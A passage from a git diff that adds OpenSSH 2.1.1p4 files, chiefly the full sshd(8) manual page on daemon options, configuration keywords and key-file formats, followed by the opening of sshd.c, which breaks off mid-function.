machine-specific + login-time initializations globally. This file should be + writable only by root, and should be world-readable. + +AUTHOR + OpenSSH is a derivative of the original (free) ssh 1.2.12 release by Tatu + Ylonen, but with bugs removed and newer features re-added. Rapidly after + the 1.2.12 release, newer versions of the original ssh bore successively + more restrictive licenses, and thus demand for a free version was born. + + This version of OpenSSH + + o has all components of a restrictive nature (i.e., patents) directly + removed from the source code; any licensed or patented components are + chosen from external libraries. + + o has been updated to support SSH protocol 1.5 and 2, making it compat- + ible with all other SSH clients and servers. + + o contains added support for kerberos(8) authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + + OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, + Niels Provos, Theo de Raadt, and Dug Song. + + + The support for SSH protocol 2 was written by Markus Friedl. + +SEE ALSO + scp(1), ssh(1), ssh-add(1), ssh-agent(1), ssh-keygen(1), rlogin(1), + rsh(1) + +BSD Experimental September 25, 1999 12 diff --git a/other/openssh-2.1.1p4/sshd.8 b/other/openssh-2.1.1p4/sshd.8 new file mode 100644 index 0000000..c6c2ce8 --- /dev/null +++ b/other/openssh-2.1.1p4/sshd.8 @@ -0,0 +1,1004 @@ +.\" -*- nroff -*- +.\" +.\" sshd.8.in +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 21:55:14 1995 ylo +.\" +.\" $Id: sshd.8,v 1.56 2000/07/06 04:06:56 aaron Exp $ +.\" +.Dd September 25, 1999 +.Dt SSHD 8 +.Os +.Sh NAME +.Nm sshd +.Nd secure shell daemon +.Sh SYNOPSIS +.Nm sshd +.Op Fl diqQ46 +.Op Fl b Ar bits +.Op Fl f Ar config_file +.Op Fl g Ar login_grace_time +.Op Fl h Ar host_key_file +.Op Fl k Ar key_gen_time +.Op Fl p Ar port +.Op Fl V Ar client_protocol_id +.Sh DESCRIPTION +.Nm +(Secure Shell Daemon) is the daemon program for +.Xr ssh 1 . +Together these programs replace rlogin and rsh, and +provide secure encrypted communications between two untrusted hosts +over an insecure network. +The programs are intended to be as easy to +install and use as possible. +.Pp +.Nm +is the daemon that listens for connections from clients. +It is normally started at boot from +.Pa /etc/rc . +It forks a new +daemon for each incoming connection. +The forked daemons handle +key exchange, encryption, authentication, command execution, +and data exchange. +This implementation of +.Nm +supports both SSH protocol version 1 and 2 simultaneously. +.Nm +works as follows. +.Pp +.Ss SSH protocol version 1 +.Pp +Each host has a host-specific RSA key +(normally 1024 bits) used to identify the host. +Additionally, when +the daemon starts, it generates a server RSA key (normally 768 bits). +This key is normally regenerated every hour if it has been used, and +is never stored on disk. +.Pp +Whenever a client connects the daemon responds with its public +host and server keys. +The client compares the +RSA host key against its own database to verify that it has not changed. +The client then generates a 256 bit random number. +It encrypts this +random number using both the host key and the server key, and sends +the encrypted number to the server. +Both sides then use this +random number as a session key which is used to encrypt all further +communications in the session. +The rest of the session is encrypted +using a conventional cipher, currently Blowfish or 3DES, with 3DES +being used by default. +The client selects the encryption algorithm +to use from those offered by the server. +.Pp +Next, the server and the client enter an authentication dialog. +The client tries to authenticate itself using +.Pa .rhosts +authentication, +.Pa .rhosts +authentication combined with RSA host +authentication, RSA challenge-response authentication, or password +based authentication. +.Pp +Rhosts authentication is normally disabled +because it is fundamentally insecure, but can be enabled in the server +configuration file if desired. +System security is not improved unless +.Xr rshd 8 , +.Xr rlogind 8 , +.Xr rexecd 8 , +and +.Xr rexd 8 +are disabled (thus completely disabling +.Xr rlogin 1 +and +.Xr rsh 1 +into the machine). +.Pp +.Ss SSH protocol version 2 +.Pp +Version 2 works similar: +Each host has a host-specific DSA key used to identify the host. +However, when the daemon starts, it does not generate a server key. +Forward security is provided through a Diffie-Hellman key agreement. +This key agreement results in a shared session key. +The rest of the session is encrypted +using a symmetric cipher, currently +Blowfish, 3DES or CAST128 in CBC mode or Arcfour. +The client selects the encryption algorithm +to use from those offered by the server. +Additionally, session integrity is provided +through a cryptographic message authentication code +(hmac-sha1 or hmac-md5). +.Pp +Protocol version 2 provides a public key based +user authentication method (DSAAuthentication) +and conventional password authentication. +.Pp +.Ss Command execution and data forwarding +.Pp +If the client successfully authenticates itself, a dialog for +preparing the session is entered. +At this time the client may request +things like allocating a pseudo-tty, forwarding X11 connections, +forwarding TCP/IP connections, or forwarding the authentication agent +connection over the secure channel. +.Pp +Finally, the client either requests a shell or execution of a command. +The sides then enter session mode. +In this mode, either side may send +data at any time, and such data is forwarded to/from the shell or +command on the server side, and the user terminal in the client side. +.Pp +When the user program terminates and all forwarded X11 and other +connections have been closed, the server sends command exit status to +the client, and both sides exit. +.Pp +.Nm +can be configured using command-line options or a configuration +file. +Command-line options override values specified in the +configuration file. +.Pp +.Nm +rereads its configuration file when it receives a hangup signal, +.Dv SIGHUP . +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl b Ar bits +Specifies the number of bits in the server key (default 768). +.Pp +.It Fl d +Debug mode. +The server sends verbose debug output to the system +log, and does not put itself in the background. +The server also will not fork and will only process one connection. +This option is only intended for debugging for the server. +.It Fl f Ar configuration_file +Specifies the name of the configuration file. +The default is +.Pa /etc/sshd_config . +.Nm +refuses to start if there is no configuration file. +.It Fl g Ar login_grace_time +Gives the grace time for clients to authenticate themselves (default +300 seconds). +If the client fails to authenticate the user within +this many seconds, the server disconnects and exits. +A value of zero indicates no limit. +.It Fl h Ar host_key_file +Specifies the file from which the RSA host key is read (default +.Pa /etc/ssh_host_key ) . +This option must be given if +.Nm +is not run as root (as the normal +host file is normally not readable by anyone but root). +.It Fl i +Specifies that +.Nm +is being run from inetd. +.Nm +is normally not run +from inetd because it needs to generate the server key before it can +respond to the client, and this may take tens of seconds. +Clients would have to wait too long if the key was regenerated every time. +However, with small key sizes (e.g., 512) using +.Nm +from inetd may +be feasible. +.It Fl k Ar key_gen_time +Specifies how often the server key is regenerated (default 3600 +seconds, or one hour). +The motivation for regenerating the key fairly +often is that the key is not stored anywhere, and after about an hour, +it becomes impossible to recover the key for decrypting intercepted +communications even if the machine is cracked into or physically +seized. +A value of zero indicates that the key will never be regenerated. +.It Fl p Ar port +Specifies the port on which the server listens for connections +(default 22). +.It Fl q +Quiet mode. +Nothing is sent to the system log. +Normally the beginning, +authentication, and termination of each connection is logged. +.It Fl Q +Do not print an error message if RSA support is missing. +.It Fl V Ar client_protocol_id +SSH2 compatibility mode. +When this option is specified +.Nm +assumes the client has sent the supplied version string +and skips the +Protocol Version Identification Exchange. +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh CONFIGURATION FILE +.Nm +reads configuration data from +.Pa /etc/sshd_config +(or the file specified with +.Fl f +on the command line). +The file contains keyword-value pairs, one per line. +Lines starting with +.Ql # +and empty lines are interpreted as comments. +.Pp +The following keywords are possible. +.Bl -tag -width Ds +.It Cm AFSTokenPassing +Specifies whether an AFS token may be forwarded to the server. +Default is +.Dq yes . +.It Cm AllowGroups +This keyword can be followed by a number of group names, separated +by spaces. +If specified, login is allowed only for users whose primary +group matches one of the patterns. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only group names are valid, a numerical group ID isn't recognized. +By default login is allowed regardless of the primary group. +.Pp +.It Cm AllowUsers +This keyword can be followed by a number of user names, separated +by spaces. +If specified, login is allowed only for users names that +match one of the patterns. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only user names are valid, a numerical user ID isn't recognized. +By default login is allowed regardless of the user name. +.Pp +.It Cm Ciphers +Specifies the ciphers allowed for protocol version 2. +Multiple ciphers must be comma-separated. +The default is +.Dq 3des-cbc,blowfish-cbc,arcfour,cast128-cbc . +.It Cm CheckMail +Specifies whether +.Nm +should check for new mail for interactive logins. +The default is +.Dq no . +.It Cm DenyGroups +This keyword can be followed by a number of group names, separated +by spaces. +Users whose primary group matches one of the patterns +aren't allowed to log in. +.Ql \&* +and +.Ql ? +can be used as +wildcards in the patterns. +Only group names are valid, a numerical group ID isn't recognized. +By default login is allowed regardless of the primary group. +.Pp +.It Cm DenyUsers +This keyword can be followed by a number of user names, separated +by spaces. +Login is disallowed for user names that match one of the patterns. +.Ql \&* +and +.Ql ? +can be used as wildcards in the patterns. +Only user names are valid, a numerical user ID isn't recognized. +By default login is allowed regardless of the user name. +.It Cm DSAAuthentication +Specifies whether DSA authentication is allowed. +The default is +.Dq yes . +Note that this option applies to protocol version 2 only. +.It Cm GatewayPorts +Specifies whether remote hosts are allowed to connect to ports +forwarded for the client. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm HostDsaKey +Specifies the file containing the private DSA host key (default +.Pa /etc/ssh_host_dsa_key ) +used by SSH protocol 2.0. +Note that +.Nm +disables protocol 2.0 if this file is group/world-accessible. +.It Cm HostKey +Specifies the file containing the private RSA host key (default +.Pa /etc/ssh_host_key ) +used by SSH protocols 1.3 and 1.5. +Note that +.Nm +disables protocols 1.3 and 1.5 if this file is group/world-accessible. +.It Cm IgnoreRhosts +Specifies that +.Pa .rhosts +and +.Pa .shosts +files will not be used in authentication. +.Pa /etc/hosts.equiv +and +.Pa /etc/shosts.equiv +are still used. +The default is +.Dq yes . +.It Cm IgnoreUserKnownHosts +Specifies whether +.Nm +should ignore the user's +.Pa $HOME/.ssh/known_hosts +during +.Cm RhostsRSAAuthentication . +The default is +.Dq no . +.It Cm KeepAlive +Specifies whether the system should send keepalive messages to the +other side. +If they are sent, death of the connection or crash of one +of the machines will be properly noticed. +However, this means that +connections will die if the route is down temporarily, and some people +find it annoying. +On the other hand, if keepalives are not sent, +sessions may hang indefinitely on the server, leaving +.Dq ghost +users and consuming server resources. +.Pp +The default is +.Dq yes +(to send keepalives), and the server will notice +if the network goes down or the client host reboots. +This avoids infinitely hanging sessions. +.Pp +To disable keepalives, the value should be set to +.Dq no +in both the server and the client configuration files. +.It Cm KerberosAuthentication +Specifies whether Kerberos authentication is allowed. +This can be in the form of a Kerberos ticket, or if +.Cm PasswordAuthentication +is yes, the password provided by the user will be validated through +the Kerberos KDC. +Default is +.Dq yes . +.It Cm KerberosOrLocalPasswd +If set then if password authentication through Kerberos fails then +the password will be validated via any additional local mechanism +such as +.Pa /etc/passwd +or SecurID. +Default is +.Dq yes . +.It Cm KerberosTgtPassing +Specifies whether a Kerberos TGT may be forwarded to the server. +Default is +.Dq no , +as this only works when the Kerberos KDC is actually an AFS kaserver. +.It Cm KerberosTicketCleanup +Specifies whether to automatically destroy the user's ticket cache +file on logout. +Default is +.Dq yes . +.It Cm KeyRegenerationInterval +The server key is automatically regenerated after this many seconds +(if it has been used). +The purpose of regeneration is to prevent +decrypting captured sessions by later breaking into the machine and +stealing the keys. +The key is never stored anywhere. +If the value is 0, the key is never regenerated. +The default is 3600 (seconds). +.It Cm ListenAddress +Specifies what local address +.Nm +should listen on. +The default is to listen to all local addresses. +Multiple options of this type are permitted. +Additionally, the +.Cm Ports +options must precede this option. +.It Cm LoginGraceTime +The server disconnects after this time if the user has not +successfully logged in. +If the value is 0, there is no time limit. +The default is 600 (seconds). +.It Cm LogLevel +Gives the verbosity level that is used when logging messages from +.Nm sshd . +The possible values are: +QUIET, FATAL, ERROR, INFO, VERBOSE and DEBUG. +The default is INFO. +Logging with level DEBUG violates the privacy of users +and is not recommended. +.It Cm MaxStartups +Specifies the maximum number of concurrent unauthenticated connections to the +.Nm +daemon. +Additional connections will be dropped until authentication succeeds or the +.Cm LoginGraceTime +expires for a connection. +The default is 10. +.It Cm PasswordAuthentication +Specifies whether password authentication is allowed. +The default is +.Dq yes . +Note that this option applies to both protocol version 1 and 2. +.It Cm PermitEmptyPasswords +When password authentication is allowed, it specifies whether the +server allows login to accounts with empty password strings. +The default is +.Dq no . +.It Cm PermitRootLogin +Specifies whether the root can log in using +.Xr ssh 1 . +The argument must be +.Dq yes , +.Dq without-password +or +.Dq no . +The default is +.Dq yes . +If this options is set to +.Dq without-password +only password authentication is disabled for root. +.Pp +Root login with RSA authentication when the +.Ar command +option has been +specified will be allowed regardless of the value of this setting +(which may be useful for taking remote backups even if root login is +normally not allowed). +.It Cm PidFile +Specifies the file that contains the process identifier of the +.Nm +daemon. +The default is +.Pa /var/run/sshd.pid . +.It Cm Port +Specifies the port number that +.Nm +listens on. +The default is 22. +Multiple options of this type are permitted. +.It Cm PrintMotd +Specifies whether +.Nm +should print +.Pa /etc/motd +when a user logs in interactively. +(On some systems it is also printed by the shell, +.Pa /etc/profile , +or equivalent.) +The default is +.Dq yes . +.It Cm Protocol +Specifies the protocol versions +.Nm +should support. +The possible values are +.Dq 1 +and +.Dq 2 . +Multiple versions must be comma-separated. +The default is +.Dq 1 . +.It Cm RandomSeed +Obsolete. +Random number generation uses other techniques. +.It Cm RhostsAuthentication +Specifies whether authentication using rhosts or /etc/hosts.equiv +files is sufficient. +Normally, this method should not be permitted because it is insecure. +.Cm RhostsRSAAuthentication +should be used +instead, because it performs RSA-based host authentication in addition +to normal rhosts or /etc/hosts.equiv authentication. +The default is +.Dq no . +.It Cm RhostsRSAAuthentication +Specifies whether rhosts or /etc/hosts.equiv authentication together +with successful RSA host authentication is allowed. +The default is +.Dq no . +.It Cm RSAAuthentication +Specifies whether pure RSA authentication is allowed. +The default is +.Dq yes . +Note that this option applies to protocol version 1 only. +.It Cm ServerKeyBits +Defines the number of bits in the server key. +The minimum value is 512, and the default is 768. +.It Cm SkeyAuthentication +Specifies whether +.Xr skey 1 +authentication is allowed. +The default is +.Dq yes . +Note that s/key authentication is enabled only if +.Cm PasswordAuthentication +is allowed, too. +.It Cm StrictModes +Specifies whether +.Nm +should check file modes and ownership of the +user's files and home directory before accepting login. +This is normally desirable because novices sometimes accidentally leave their +directory or files world-writable. +The default is +.Dq yes . +.It Cm Subsystem +Configures an external subsystem (e.g. file transfer daemon). +Arguments should be a subsystem name and a command to execute upon subsystem request. +By default no subsystems are defined. +Note that this option applies to protocol version 2 only. +.It Cm SyslogFacility +Gives the facility code that is used when logging messages from +.Nm sshd . +The possible values are: DAEMON, USER, AUTH, LOCAL0, LOCAL1, LOCAL2, +LOCAL3, LOCAL4, LOCAL5, LOCAL6, LOCAL7. +The default is AUTH. +.It Cm UseLogin +Specifies whether +.Xr login 1 +is used for interactive login sessions. +Note that +.Xr login 1 +is not never for remote command execution. +The default is +.Dq no . +.It Cm X11DisplayOffset +Specifies the first display number available for +.Nm sshd Ns 's +X11 forwarding. +This prevents +.Nm +from interfering with real X11 servers. +The default is 10. +.It Cm X11Forwarding +Specifies whether X11 forwarding is permitted. +The default is +.Dq no . +Note that disabling X11 forwarding does not improve security in any +way, as users can always install their own forwarders. +.It Cm XAuthLocation +Specifies the location of the +.Xr xauth 1 +program. +The default is +.Pa /usr/X11R6/bin/xauth . +.El +.Sh LOGIN PROCESS +When a user successfully logs in, +.Nm +does the following: +.Bl -enum -offset indent +.It +If the login is on a tty, and no command has been specified, +prints last login time and +.Pa /etc/motd +(unless prevented in the configuration file or by +.Pa $HOME/.hushlogin ; +see the +.Sx FILES +section). +.It +If the login is on a tty, records login time. +.It +Checks +.Pa /etc/nologin ; +if it exists, prints contents and quits +(unless root). +.It +Changes to run with normal user privileges. +.It +Sets up basic environment. +.It +Reads +.Pa $HOME/.ssh/environment +if it exists. +.It +Changes to user's home directory. +.It +If +.Pa $HOME/.ssh/rc +exists, runs it; else if +.Pa /etc/sshrc +exists, runs +it; otherwise runs xauth. +The +.Dq rc +files are given the X11 +authentication protocol and cookie in standard input. +.It +Runs user's shell or command. +.El +.Sh AUTHORIZED_KEYS FILE FORMAT +The +.Pa $HOME/.ssh/authorized_keys +file lists the RSA keys that are +permitted for RSA authentication in SSH protocols 1.3 and 1.5 +Similarly, the +.Pa $HOME/.ssh/authorized_keys2 +file lists the DSA keys that are +permitted for DSA authentication in SSH protocol 2.0. +Each line of the file contains one +key (empty lines and lines starting with a +.Ql # +are ignored as +comments). +Each line consists of the following fields, separated by +spaces: options, bits, exponent, modulus, comment. +The options field +is optional; its presence is determined by whether the line starts +with a number or not (the option field never starts with a number). +The bits, exponent, modulus and comment fields give the RSA key; the +comment field is not used for anything (but may be convenient for the +user to identify the key). +.Pp +Note that lines in this file are usually several hundred bytes long +(because of the size of the RSA key modulus). +You don't want to type them in; instead, copy the +.Pa identity.pub +file and edit it. +.Pp +The options (if present) consists of comma-separated option +specifications. +No spaces are permitted, except within double quotes. +The following option specifications are supported: +.Bl -tag -width Ds +.It Cm from="pattern-list" +Specifies that in addition to RSA authentication, the canonical name +of the remote host must be present in the comma-separated list of +patterns +.Pf ( Ql * +and +.Ql ? +serve as wildcards). +The list may also contain +patterns negated by prefixing them with +.Ql ! ; +if the canonical host name matches a negated pattern, the key is not accepted. +The purpose +of this option is to optionally increase security: RSA authentication +by itself does not trust the network or name servers or anything (but +the key); however, if somebody somehow steals the key, the key +permits an intruder to log in from anywhere in the world. +This additional option makes using a stolen key more difficult (name +servers and/or routers would have to be compromised in addition to +just the key). +.It Cm command="command" +Specifies that the command is executed whenever this key is used for +authentication. +The command supplied by the user (if any) is ignored. +The command is run on a pty if the connection requests a pty; +otherwise it is run without a tty. +A quote may be included in the command by quoting it with a backslash. +This option might be useful +to restrict certain RSA keys to perform just a specific operation. +An example might be a key that permits remote backups but nothing else. +Note that the client may specify TCP/IP and/or X11 +forwarding unless they are explicitly prohibited. +.It Cm environment="NAME=value" +Specifies that the string is to be added to the environment when +logging in using this key. +Environment variables set this way +override other default environment values. +Multiple options of this type are permitted. +.It Cm no-port-forwarding +Forbids TCP/IP forwarding when this key is used for authentication. +Any port forward requests by the client will return an error. +This might be used, e.g., in connection with the +.Cm command +option. +.It Cm no-X11-forwarding +Forbids X11 forwarding when this key is used for authentication. +Any X11 forward requests by the client will return an error. +.It Cm no-agent-forwarding +Forbids authentication agent forwarding when this key is used for +authentication. +.It Cm no-pty +Prevents tty allocation (a request to allocate a pty will fail). +.El +.Ss Examples +1024 33 12121.\|.\|.\|312314325 ylo@foo.bar +.Pp +from="*.niksula.hut.fi,!pc.niksula.hut.fi" 1024 35 23.\|.\|.\|2334 ylo@niksula +.Pp +command="dump /home",no-pty,no-port-forwarding 1024 33 23.\|.\|.\|2323 backup.hut.fi +.Sh SSH_KNOWN_HOSTS FILE FORMAT +The +.Pa /etc/ssh_known_hosts , +.Pa /etc/ssh_known_hosts2 , +.Pa $HOME/.ssh/known_hosts , +and +.Pa $HOME/.ssh/known_hosts2 +files contain host public keys for all known hosts. +The global file should +be prepared by the administrator (optional), and the per-user file is +maintained automatically: whenever the user connects an unknown host +its key is added to the per-user file. +.Pp +Each line in these files contains the following fields: hostnames, +bits, exponent, modulus, comment. +The fields are separated by spaces. +.Pp +Hostnames is a comma-separated list of patterns ('*' and '?' act as +wildcards); each pattern in turn is matched against the canonical host +name (when authenticating a client) or against the user-supplied +name (when authenticating a server). +A pattern may also be preceded by +.Ql ! +to indicate negation: if the host name matches a negated +pattern, it is not accepted (by that line) even if it matched another +pattern on the line. +.Pp +Bits, exponent, and modulus are taken directly from the RSA host key; they +can be obtained, e.g., from +.Pa /etc/ssh_host_key.pub . +The optional comment field continues to the end of the line, and is not used. +.Pp +Lines starting with +.Ql # +and empty lines are ignored as comments. +.Pp +When performing host authentication, authentication is accepted if any +matching line has the proper key. +It is thus permissible (but not +recommended) to have several lines or different host keys for the same +names. +This will inevitably happen when short forms of host names +from different domains are put in the file. +It is possible +that the files contain conflicting information; authentication is +accepted if valid information can be found from either file. +.Pp +Note that the lines in these files are typically hundreds of characters +long, and you definitely don't want to type in the host keys by hand. +Rather, generate them by a script +or by taking +.Pa /etc/ssh_host_key.pub +and adding the host names at the front. +.Ss Examples +closenet,closenet.hut.fi,.\|.\|.\|,130.233.208.41 1024 37 159.\|.\|.93 closenet.hut.fi +.Sh FILES +.Bl -tag -width Ds +.It Pa /etc/sshd_config +Contains configuration data for +.Nm sshd . +This file should be writable by root only, but it is recommended +(though not necessary) that it be world-readable. +.It Pa /etc/ssh_host_key +Contains the private part of the host key. +This file should only be owned by root, readable only by root, and not +accessible to others. +Note that +.Nm +does not start if this file is group/world-accessible. +.It Pa /etc/ssh_host_key.pub +Contains the public part of the host key. +This file should be world-readable but writable only by +root. +Its contents should match the private part. +This file is not +really used for anything; it is only provided for the convenience of +the user so its contents can be copied to known hosts files. +These two files are created using +.Xr ssh-keygen 1 . +.It Pa /var/run/sshd.pid +Contains the process ID of the +.Nm +listening for connections (if there are several daemons running +concurrently for different ports, this contains the pid of the one +started last). +The contents of this file are not sensitive; it can be world-readable. +.It Pa $HOME/.ssh/authorized_keys +Lists the RSA keys that can be used to log into the user's account. +This file must be readable by root (which may on some machines imply +it being world-readable if the user's home directory resides on an NFS +volume). +It is recommended that it not be accessible by others. +The format of this file is described above. +Users will place the contents of their +.Pa identity.pub +files into this file, as described in +.Xr ssh-keygen 1 . +.It Pa $HOME/.ssh/authorized_keys2 +Lists the DSA keys that can be used to log into the user's account. +This file must be readable by root (which may on some machines imply +it being world-readable if the user's home directory resides on an NFS +volume). +It is recommended that it not be accessible by others. +The format of this file is described above. +Users will place the contents of their +.Pa id_dsa.pub +files into this file, as described in +.Xr ssh-keygen 1 . +.It Pa "/etc/ssh_known_hosts" and "$HOME/.ssh/known_hosts" +These files are consulted when using rhosts with RSA host +authentication to check the public key of the host. +The key must be listed in one of these files to be accepted. +The client uses the same files +to verify that the remote host is the one we intended to connect. +These files should be writable only by root/the owner. +.Pa /etc/ssh_known_hosts +should be world-readable, and +.Pa $HOME/.ssh/known_hosts +can but need not be world-readable. +.It Pa /etc/nologin +If this file exists, +.Nm +refuses to let anyone except root log in. +The contents of the file +are displayed to anyone trying to log in, and non-root connections are +refused. +The file should be world-readable. +.It Pa /etc/hosts.allow, /etc/hosts.deny +If compiled with +.Sy LIBWRAP +support, tcp-wrappers access controls may be defined here as described in +.Xr hosts_access 5 . +.It Pa $HOME/.rhosts +This file contains host-username pairs, separated by a space, one per +line. +The given user on the corresponding host is permitted to log in +without password. +The same file is used by rlogind and rshd. +The file must +be writable only by the user; it is recommended that it not be +accessible by others. +.Pp +If is also possible to use netgroups in the file. +Either host or user +name may be of the form +@groupname to specify all hosts or all users +in the group. +.It Pa $HOME/.shosts +For ssh, +this file is exactly the same as for +.Pa .rhosts . +However, this file is +not used by rlogin and rshd, so using this permits access using SSH only. +.Pa /etc/hosts.equiv +This file is used during +.Pa .rhosts +authentication. +In the simplest form, this file contains host names, one per line. +Users on +those hosts are permitted to log in without a password, provided they +have the same user name on both machines. +The host name may also be +followed by a user name; such users are permitted to log in as +.Em any +user on this machine (except root). +Additionally, the syntax +.Dq +@group +can be used to specify netgroups. +Negated entries start with +.Ql \&- . +.Pp +If the client host/user is successfully matched in this file, login is +automatically permitted provided the client and server user names are the +same. +Additionally, successful RSA host authentication is normally required. +This file must be writable only by root; it is recommended +that it be world-readable. +.Pp +.Sy "Warning: It is almost never a good idea to use user names in" +.Pa hosts.equiv . +Beware that it really means that the named user(s) can log in as +.Em anybody , +which includes bin, daemon, adm, and other accounts that own critical +binaries and directories. +Using a user name practically grants the user root access. +The only valid use for user names that I can think +of is in negative entries. +.Pp +Note that this warning also applies to rsh/rlogin. +.It Pa /etc/shosts.equiv +This is processed exactly as +.Pa /etc/hosts.equiv . +However, this file may be useful in environments that want to run both +rsh/rlogin and ssh. +.It Pa $HOME/.ssh/environment +This file is read into the environment at login (if it exists). +It can only contain empty lines, comment lines (that start with +.Ql # ) , +and assignment lines of the form name=value. +The file should be writable +only by the user; it need not be readable by anyone else. +.It Pa $HOME/.ssh/rc +If this file exists, it is run with /bin/sh after reading the +environment files but before starting the user's shell or command. +If X11 spoofing is in use, this will receive the "proto cookie" pair in +standard input (and +.Ev DISPLAY +in environment). +This must call +.Xr xauth 1 +in that case. +.Pp +The primary purpose of this file is to run any initialization routines +which may be needed before the user's home directory becomes +accessible; AFS is a particular example of such an environment. +.Pp +This file will probably contain some initialization code followed by +something similar to: "if read proto cookie; then echo add $DISPLAY +$proto $cookie | xauth -q -; fi". +.Pp +If this file does not exist, +.Pa /etc/sshrc +is run, and if that +does not exist either, xauth is used to store the cookie. +.Pp +This file should be writable only by the user, and need not be +readable by anyone else. +.It Pa /etc/sshrc +Like +.Pa $HOME/.ssh/rc . +This can be used to specify +machine-specific login-time initializations globally. +This file should be writable only by root, and should be world-readable. +.El +.Sh AUTHOR +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release by Tatu Ylonen, +but with bugs removed and newer features re-added. +Rapidly after the +1.2.12 release, newer versions of the original ssh bore successively +more restrictive licenses, and thus demand for a free version was born. +.Pp +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support SSH protocol 1.5 and 2, making it compatible with +all other SSH clients and servers. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Pp +OpenSSH has been created by Aaron Campbell, Bob Beck, Markus Friedl, +Niels Provos, Theo de Raadt, and Dug Song. +.Pp +The support for SSH protocol 2 was written by Markus Friedl. +.Sh SEE ALSO +.Xr scp 1 , +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr rlogin 1 , +.Xr rsh 1 diff --git a/other/openssh-2.1.1p4/sshd.c b/other/openssh-2.1.1p4/sshd.c new file mode 100644 index 0000000..f74a9e3 --- /dev/null +++ b/other/openssh-2.1.1p4/sshd.c @@ -0,0 +1,1431 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Fri Mar 17 17:09:28 1995 ylo + * This program is the ssh daemon. It listens for connections from clients, and + * performs authentication, executes use commands or shell, and forwards + * information to/from the application to the user client over an encrypted + * connection. This can also handle forwarding of X11, TCP/IP, and authentication + * agent connections. + * + * SSH2 implementation, + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ + +#include "includes.h" +RCSID("$OpenBSD: sshd.c,v 1.122 2000/07/11 08:11:34 deraadt Exp $"); + +#include "xmalloc.h" +#include "rsa.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "uidswap.h" +#include "compat.h" +#include "buffer.h" + +#include "ssh2.h" +#include +#include +#include +#include "kex.h" +#include +#include + +#include "key.h" +#include "dsa.h" + +#include "auth.h" +#include "myproposal.h" +#include "authfile.h" + +#ifdef LIBWRAP +#include +#include +int allow_severity = LOG_INFO; +int deny_severity = LOG_WARNING; +#endif /* LIBWRAP */ + +#ifndef O_NOCTTY +#define O_NOCTTY 0 +#endif + +/* Server configuration options. */ +ServerOptions options; + +/* Name of the server configuration file. */ +char *config_file_name = SERVER_CONFIG_FILE; + +/* + * Flag indicating whether IPv4 or IPv6. This can be set on the command line. + * Default value is AF_UNSPEC means both IPv4 and IPv6. + */ +#ifdef IPV4_DEFAULT +int IPv4or6 = AF_INET; +#else +int IPv4or6 = AF_UNSPEC; +#endif + +/* + * Debug mode flag. This can be set on the command line. If debug + * mode is enabled, extra debugging output will be sent to the system + * log, the daemon will not go to background, and will exit after processing + * the first connection. + */ +int debug_flag = 0; + +/* Flag indicating that the daemon is being started from inetd. */ +int inetd_flag = 0; + +/* debug goes to stderr unless inetd_flag is set */ +int log_stderr = 0; + +/* argv[0] without path. */ +char *av0; + +/* Saved arguments to main(). */ +char **saved_argv; +int saved_argc; + +/* + * The sockets that the server is listening; this is used in the SIGHUP + * signal handler. + */ +#define MAX_LISTEN_SOCKS 16 +int listen_socks[MAX_LISTEN_SOCKS]; +int num_listen_socks = 0; + +/* + * the client's version string, passed by sshd2 in compat mode. if != NULL, + * sshd will skip the version-number exchange + */ +char *client_version_string = NULL; +char *server_version_string = NULL; + +/* + * Any really sensitive data in the application is contained in this + * structure. The idea is that this structure could be locked into memory so + * that the pages do not get written into swap. However, there are some + * problems. The private key contains BIGNUMs, and we do not (in principle) + * have access to the internals of them, and locking just the structure is + * not very useful. Currently, memory locking is not implemented. + */ +struct { + RSA *private_key; /* Private part of empheral server key. */ + RSA *host_key; /* Private part of host key. */ + Key *dsa_host_key; /* Private DSA host key. */ +} sensitive_data; + +/* + * Flag indicating whether the current session key has been used. This flag + * is set whenever the key is used, and cleared when the key is regenerated. + */ +int key_used = 0; + +/* This is set to true when SIGHUP is received. */ +int received_sighup = 0; + +/* Public side of the server key. This value is regenerated regularly with + the private key. */ +RSA *public_key; + +/* session identifier, used by RSA-auth */ +unsigned char session_id[16]; + +/* same for ssh2 */ +unsigned char *session_id2 = NULL; +int session_id2_len = 0; + +/* Prototypes for various functions defined later in this file. */ +void do_ssh1_kex(); +void do_ssh2_kex(); + +/* + * Close all listening sockets + */ +void +close_listen_socks(void) +{ + int i; + for (i = 0; i < num_listen_socks; i++) + close(listen_socks[i]); + num_listen_socks = -1; +} + +/* + * Signal handler for SIGHUP. Sshd execs itself when it receives SIGHUP; + * the effect is to reread the configuration file (and to regenerate + * the server key). + */ +void +sighup_handler(int sig) +{ + received_sighup = 1; + signal(SIGHUP, sighup_handler); +} + +/* + * Called from the main program after receiving SIGHUP. + * Restarts the server. + */ +void +sighup_restart() +{ + log("Received SIGHUP; restarting."); + close_listen_socks(); + execv(saved_argv[0], saved_argv); + log("RESTART FAILED: av0='%s', error: %s.", av0, strerror(errno)); + exit(1); +} + +/* + * Generic signal handler for terminating signals in the master daemon. + * These close the listen socket; not closing it seems to cause "Address + * already in use" problems on some machines, which is inconvenient. + */ +void +sigterm_handler(int sig) +{ + log("Received signal %d; terminating.", sig); + close_listen_socks(); + 